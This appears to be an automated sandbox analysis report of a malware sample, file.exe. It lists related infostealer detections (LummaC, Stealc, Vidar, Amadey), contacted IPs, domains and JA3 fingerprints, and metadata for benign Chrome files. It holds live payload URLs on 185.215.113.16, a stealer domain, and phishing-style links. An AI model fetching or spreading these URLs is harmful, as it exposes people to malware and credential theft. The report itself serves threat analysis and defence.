Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
20:34:09	API Interceptor	13x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.67	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Annual_Benefits_&_Bonus_for_Lorne.zuck#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	ADZP 20 Complex.exe	Get hash	malicious	Babadeda, Wiper	Browse	13.107.246.45
	ADZP 20 Complex.bat	Get hash	malicious	Wiper	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
s-part-0039.t-0009.t-msedge.net	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse	13.107.246.67

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Annual_Benefits_&_Bonus_for_Lorne.zuck#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	52.109.28.47
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	Annual_Benefits_&_Bonus_for_Lorne.zuck#IyNURVhUTlVNUkFORE9NNDUjIw==.docx	Get hash	malicious	Unknown	Browse	52.109.28.47
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.60
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://us-west-2.protection.sophos.com/?d=vercel.app&u=aHR0cHM6Ly93ZWJtYWlsLWF1dGgtc2VjLnZlcmNlbC5hcHA=&i=NWVjYjQ2MzZmNTgwNWIwZWJlZWZkM2Fl&t=UXZ3YkZpNSszWkdZNlBPdUNtNGVRQTM2ZzV1SmdscHZTN2E0TDhEQUVMYz0=&h=41cf60c27bc24f608fa5f6f60edfa437&s=AVNPUEhUT0NFTkNSWVBUSVYWbs5htFrsKfDZKi2vxyeN8JAV7eyBc8AqkmOaHaHVi8YGx5zRAzUm2TNYTJQ1rCs#Ymtqb29AaGRlbC5jby5rcg==	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://connectedeventgroup.us7.list-manage.com/track/click?u=25dd72708552396fb623578b8&id=47c6935491&e=bb7333da56	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://profile.notification.best/communication.shtml?right=support@marylandstateboardofelections.zohodesk.com	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	Ssc Executed Docs#962297(Revised).docx	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	https://docs.google.com/drawings/d/14vwfD0EyLvfyX8ls6jwkhRJmCoYW07SUFnqprqeXkTI/preview	Get hash	malicious	Unknown	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	184.28.90.27 13.107.246.45 20.12.23.50
	file.exe	Get hash	malicious	LummaC	Browse	184.28.90.27 13.107.246.45 20.12.23.50
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	40.115.3.253
	iDvmIRCPBw.exe	Get hash	malicious	Unknown	Browse	40.115.3.253
	ZdXUGLQpoL.exe	Get hash	malicious	Unknown	Browse	40.115.3.253
	jaPB8q3WL1.exe	Get hash	malicious	Unknown	Browse	40.115.3.253
	yx7VCK1nxU.exe	Get hash	malicious	Unknown	Browse	40.115.3.253
	yF21ypxRB7.exe	Get hash	malicious	XWorm	Browse	40.115.3.253
	file.exe	Get hash	malicious	LummaC	Browse	40.115.3.253
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	40.115.3.253
	0a0#U00a0.js	Get hash	malicious	RHADAMANTHYS	Browse	40.115.3.253
	file.exe	Get hash	malicious	LummaC	Browse	40.115.3.253
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	modest-menu.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Echelon.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1558
Entropy (8bit):	5.11458514637545
Encrypted:	false
SSDEEP:	48:OBOCrYJ4rYJVwUCLHDy43HV713XEyMmZ3teTHn:LCrYJ4rYJVwUCHZ3Z13XtdUTH
MD5:	EE002CB9E51BB8DFA89640A406A1090A
SHA1:	49EE3AD535947D8821FFDEB67FFC9BC37D1EBBB2
SHA-256:	3DBD2C90050B652D63656481C3E5871C52261575292DB77D4EA63419F187A55B
SHA-512:	D1FDCC436B8CA8C68D4DC7077F84F803A535BF2CE31D9EB5D0C466B62D6567B2C59974995060403ED757E92245DB07E70C6BDDBF1C3519FED300CC5B9BF9177C
Malicious:	false
Reputation:	high, very likely benign file
Preview:	// Copyright 2015 The Chromium Authors. All rights reserved..//.// Redistribution and use in source and binary forms, with or without.// modification, are permitted provided that the following conditions are.// met:.//.// * Redistributions of source code must retain the above copyright.// notice, this list of conditions and the following disclaimer..// * Redistributions in binary form must reproduce the above.// copyright notice, this list of conditions and the following disclaimer.// in the documentation and/or other materials provided with the.// distribution..// * Neither the name of Google Inc. nor the names of its.// contributors may be used to endorse or promote products derived from.// this software without specific prior written permission..//.// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS.// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT.// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR.// A PARTICULAR

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\_metadata\verified_contents.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1864
Entropy (8bit):	6.018989605004616
Encrypted:	false
SSDEEP:	48:p/hUI1OwEU3AdIq7ak68O40E2szOxxUJ8BPFkf31U4PrHfqY3J5D:RnOwtQIq7aZ40E2sYUJAYRr/qYZ5D
MD5:	C4709C1D483C9233A3A66A7E157624EA
SHA1:	99A000EB5FE5CC1E94E3155EE075CD6E43DC7582
SHA-256:	225243DC75352D63B0B9B2F48C8AAA09D55F3FB9E385741B12A1956A941880D9
SHA-512:	B45E1FD999D1340CC5EB5A49A4CD967DC736EA3F4EC8B02227577CC3D1E903341BE3217FBB0B74765C72085AC51C63EEF6DCB169D137BBAF3CC49E21EA6468D7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiJMSUNFTlNFIiwicm9vdF9oYXNoIjoiUGIwc2tBVUxaUzFqWldTQnctV0hIRkltRlhVcExiZDlUcVkwR2ZHSHBWcyJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJVczFpOUt3Zm5uMThTVVR1RVItRXBDTTMwVzFkNTc0cGJwUlJSdGJYM0JVIn0seyJwYXRoIjoic2V0cy5qc29uIiwicm9vdF9oYXNoIjoiM0hiWThLc3poeEF6UDVSUU9fZEpvZGNwbEtpRXR0RWh2UmZMZEtjSTdjZyJ9XSwiZm9ybWF0IjoidHJlZWhhc2giLCJoYXNoX2Jsb2NrX3NpemUiOjQwOTZ9XSwiaXRlbV9pZCI6ImdvbnBlbWRna2pjZWNkZ2JuYWFiaXBwcGJtZ2ZnZ2JlIiwiaXRlbV92ZXJzaW9uIjoiMjAyNC4xMS44LjAiLCJwcm90b2NvbF92ZXJzaW9uIjoxfQ","signatures":[{"header":{"kid":"publisher"},"protected":"eyJhbGciOiJSUzI1NiJ9","signature":"lGxZ1-AH7F8MftKSBdZiFULmC8hZkIHy1_2XIoU81Z5mK0wHVwNV7-55CBTcuuvKjTje-AnKLDoG4S0A_Jeg4lSQK5V_Q4f6JVqp5Vj_ge86YkRZEv4m1bjKRY4N17SHobwuH8Hc_kAugFIlG1LIDHnrm1N7ZWIqo3fVlnVqgSstmvFXAhBazgs1UYRi3hPjPM6e1q1i2N1mIUbxLvG41frGo2QJ8W5J3buUjzs-0y250k-YkadKAR0

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\manifest.fingerprint

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.820000180714897
Encrypted:	false
SSDEEP:	3:SVzHL3phUmWRDNKydvgHVz:SBHLLUmWRbCp
MD5:	BBEC7670A2519FEB0627F17D0C0B5276
SHA1:	9C30B996F1B069F86EF7C0136DFAF7E614674DEA
SHA-256:	670A6F6BBADAB2C2BE63898525FCAF72E7454739E77C04D120BC1A46B6694CAC
SHA-512:	1ED4ED6AE2A2CBE86F9E8C6C7A2672EBB2F37DBE83D2BF09D875DB435ED63BF5F5CF60CA846865166F9A498095F6D61BD51B0A092E097430439E8A5A3A14CB15
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1.03cccbb22b17080279ea1707c9ab093c59f4f4dd09580c841cfa794cb372228d

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\manifest.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.462192586591686
Encrypted:	false
SSDEEP:	3:rR6TAulhFphifFCmMARWHJqS1kULJVPY:F6VlM8aRWpqS1kSJVg
MD5:	084E339C0C9FE898102815EAC9A7CDEA
SHA1:	6ABF7EAAA407D2EAB8706361E5A2E5F776D6C644
SHA-256:	52CD62F4AC1F9E7D7C4944EE111F84A42337D16D5DE7BE296E945146D6D7DC15
SHA-512:	0B67A89F3EBFF6FEC3796F481EC2AFBAC233CF64FDC618EC6BA1C12AE125F28B27EE09E8CD0FADB8F6C8785C83929EA6F751E0DDF592DD072AB2CF439BD28534
Malicious:	false
Preview:	{. "manifest_version": 2,. "name": "First Party Sets",. "version": "2024.11.8.0".}

C:\Windows\SystemTemp\chrome_PuffinComponentUnpacker_BeginUnzipping1612_1377413773\sets.json

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	4.629347296880043
Encrypted:	false
SSDEEP:	96:Mon4mvC4qX19s1blbw/BNKLcxbdmf56MFJtRTGXvcxN43uP+8qJl:v5C4ql7BkIVmtRTGXvcxBsl
MD5:	8C702C686B703020BC0290BAFC90D7A0
SHA1:	EB08FF7885B4C1DE3EF3D61E40697C0C71903E27
SHA-256:	97D9E39021512305820F27B9662F0351E45639124F5BD29F0466E9072A9D0C62
SHA-512:	6137D0ED10E6A27924ED3AB6A0C5F9B21EB0E16A876447DADABD88338198F31BB9D89EF8F0630F4573EA34A24FB3FD3365D7EA78A97BA10028A0758E0A550739
Malicious:	false
Preview:	{"primary":"https://bild.de","associatedSites":["https://welt.de","https://autobild.de","https://computerbild.de","https://wieistmeineip.de"],"serviceSites":["https://www.asadcdn.com"]}.{"primary":"https://blackrock.com","associatedSites":["https://blackrockadvisorelite.it","https://cachematrix.com","https://efront.com","https://etfacademy.it","https://ishares.com"]}.{"primary":"https://cafemedia.com","associatedSites":["https://cardsayings.net","https://nourishingpursuits.com"]}.{"primary":"https://caracoltv.com","associatedSites":["https://noticiascaracol.com","https://bluradio.com","https://shock.co","https://bumbox.com","https://hjck.com"]}.{"primary":"https://carcostadvisor.com","ccTLDs":{"https://carcostadvisor.com":["https://carcostadvisor.be","https://carcostadvisor.fr"]}}.{"primary":"https://citybibleforum.org","associatedSites":["https://thirdspace.org.au"]}.{"primary":"https://cognitiveai.ru","associatedSites":["https://cognitive-ai.ru"]}.{"primary":"https://drimer.io","asso

Chrome Cache Entry: 100

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	5644
Entropy (8bit):	4.785769732002188
Encrypted:	false
SSDEEP:	96:ogVOjPW7cI3aDNjExAjfWQpL0dpwmWMv7AD8RevyvRJNjyZPtJ27RlhiewZjMeZf:og5cUaDNjESLWQN0dpwm9+6DlUu7lYjX
MD5:	B5885C991E30238110973653F2408300
SHA1:	39B0A79D951F8254E21821134E047C76F57AD2A8
SHA-256:	085BF5AE32E6F7F1299CA79248B0CB67EBD31566728A69F4466E1659C004732E
SHA-512:	6BEC209D933C7A1065047637F550B7A36809D835938C04851A3B09DF644BD3EC85A2CE30F73FCFB709FE7AF3453799B2EB76702D0AB2BE067CD07D2EC03537C0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/site-header/site-header.json?
Preview:	{"brandLink":{"biName":"learn","displayName":"Learn","href":"/"},"featuredContent":[{"biName":"1-microsoft-learn-for-organizations","description":"Access curated resources to upskill your team and close skills gaps.","href":"/training/organizations/","supertitle":"Microsoft Learn for Organizations","title":"Boost your team\u0027s technical skills"}],"metadata":{"git_commit_id":"dab49ca79cb372010aeaec5e99463f6cec8df000"},"navCategories":[{"biName":"1-discover","panel":{"panelContent":[{"biName":"1-documentation","componentType":"header-panel-card","description":"In-depth articles on Microsoft developer tools and technologies","href":"/docs/","title":"Documentation"},{"biName":"2-training","componentType":"header-panel-card","description":"Personalized learning paths and courses","href":"/training/","title":"Training"},{"biName":"3-credentials","componentType":"header-panel-card","description":"Globally recognized, industry-endorsed credentials","href":"/credentials/","title":"Credential

Chrome Cache Entry: 101

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/app-could-not-be-started.png
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 102

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.794639101874543
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzVqrpCvJ4QG63JjJ+do88HxbqP:dgQ+KfZcbhaWjp45qtAdflfDOFnNgBy4
MD5:	84E6C95F0E5378BDA94FA965C4692FAF
SHA1:	7C1D6572906509B08F8CD7B7A33EB9F9697EE6D1
SHA-256:	88A4A7B4F1160F8CAD3EB835116C29AC39659D586D4DADC54D9E40AC7E1BC610
SHA-512:	D34BFF37F8402B4A1FEE3C26F247A86D72666647A10E83D711A1BED1D24C6FC13674D65DCC037C22811B227FEC34B5DE20442191A42F9D78FC79D55FD5792761
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 103

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 104

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
